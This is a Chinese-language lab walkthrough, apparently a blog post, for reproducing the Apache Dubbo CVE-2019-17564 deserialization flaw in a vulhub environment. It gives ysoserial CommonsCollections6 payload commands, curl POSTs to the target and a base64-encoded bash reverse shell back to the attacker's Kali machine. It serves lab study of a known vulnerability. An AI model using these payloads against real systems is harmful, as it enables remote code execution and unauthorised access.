Apache Dubbo(CVE-2019-17564) Java反序列化漏洞复现笔记(最详细版本)

目录

一.漏洞描述

二.影响范围

三.测试环境

四.搭建环境

1.vulhub靶场下载

2.docker-compose下载地址

3.服务启动

五.漏洞复现

1.查看开放端口

2.下载连接Zookeeper服务器

3.获取RPC接口

4.使用ysoserial工具生成payload

5.靶机验证

6.制作反弹shell的脚本

六.修复方案


一.漏洞描述

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting. httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。

二.影响范围

Apache Dubbo 2.7.4及以前版本

三.测试环境

虚拟机 :VMware Workstation 15.5 Pro

网络模式 :VMnet8(能够相互通信即可)

Centos7(vulhub):IP地址:192.168.184.155

KALI :IP地址:192.168.184.136

Apache Dubbo 2.7.3

四.搭建环境

1.vulhub靶场下载

Vulhub - Docker-Compose file for vulnerability environment

2.docker-compose下载地址

Releases · docker/compose · GitHub

3.服务启动

一切都准备好之后就可以启动CVE-2019-17564了.

先cd到Dubbo目录下的CVE-2019-17564里面,然后使用docker-compose启动环境.

docker-compose  up  -d                 #安装并启动环境

docker   ps                         #查看当前正在运行的服务

可以看到Dubbo的端口为8080

ip  a                 #查看IP 我的IP为192.168.184.155

在浏览器端输入 你的ip+端口8080 访问服务,如果显示空白页面,则表示服务搭建成功!

五.漏洞复现

1.查看开放端口

打开我们最最最熟悉的kali系统

进入root用户:

(1) su  root                 #输入你的root密码

(2) sudo  -s                 #密码默认为kali

查看Dubbo服务开放的端口

nmap -p- 192.168.184.155 #查看开放端口,这里输入刚刚你在Centos查到的IP

对外开放了8080端口和2181端口,其中2181端口为Zookeeper的端口,我们本地下载Zookeeper,使用其中自带的zkCli建立一个交互式的shell来确定RPC接口的名称.

2.下载连接Zookeeper服务器

Zookeeper下载地址:

https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

如果下载慢或者失败,可以将连接复制到迅雷去下载.

下载好之后直接将文件拖至kali桌面.

tar  -xvf  zookeeper-3.3.3.tar.gz                 #解压 

3.获取RPC接口

解压后,进入Zookeeper执行bin目录下的zkCli.sh.

注意:这里的IP是你靶机(我的是Centos7)的IP , 不是kali的IP.

./zkCli.sh  -server  192.168.184.155:2181         #使用zkCli连接到这台Zookeeper服务器

 获取RPC接口名称.

4.使用ysoserial工具生成payload

ysoserial下载链接 :下载好之后直接将文件拖至kali桌面.

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

接着用ysoserial工具生成CommonsCollections6的Payload作为POST Body发送到

http://192.168.184.155:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

java  -jar  ysoserial-master-2874a69f61-1.jar  CommonsCollections6  "touch /tmp/success" > 1.poc                 #生成一个创建success的1.poc

curl -XPOST --data-binary @1.poc http://192.168.184.155:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机.这里记得换成你靶机的IP

 然后去靶机验证是否发送成功.

注意:这里在生成1.poc的时候也可能会出现以下情况:

 发生这种情况事因为你kali的JDK和编译ysoserial.jar的JDK不兼容导致.

参考文章:

解决Error while generating or serializing payload java.lang.reflect.InaccessibleObjetExceotion:Unable_徐长卿学网安的博客-CSDN博客

5.靶机验证

进入我们的Centos7靶机,查看容器内是否有success文件生成

docker  ps                 #查看正在启动的容器

docker  exec  -it  NAMES  bash         #查看容器

执行完以上kali的代码之后,靶机这边应该会出现一个success文件:

6.制作反弹shell的脚本

切换到kali这边,我们在这里制作反弹shell脚本.

进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个8888

[~]#棱角 ::Edge.Forum*        #棱角社区

这里必须使用base64编码的形式,其他的反弹不了,我也不懂为什么,知道的同学可以将答案发到评论区.

java  -jar  ysoserial-master-2874a69f61-1.jar  CommonsCollections6  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > 2.poc         #生成反弹shell的脚本2.poc ,这里将刚刚复制的内容贴到双引号里面执行

 curl -XPOST --data-binary @2.poc http://192.168.184.155:8080/org.vulhub.api.CalcService         #将Payload作为POST Body发送到靶机 , 注意,这里是你的靶机 IP

六.修复方案

升级到更高的版本.

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值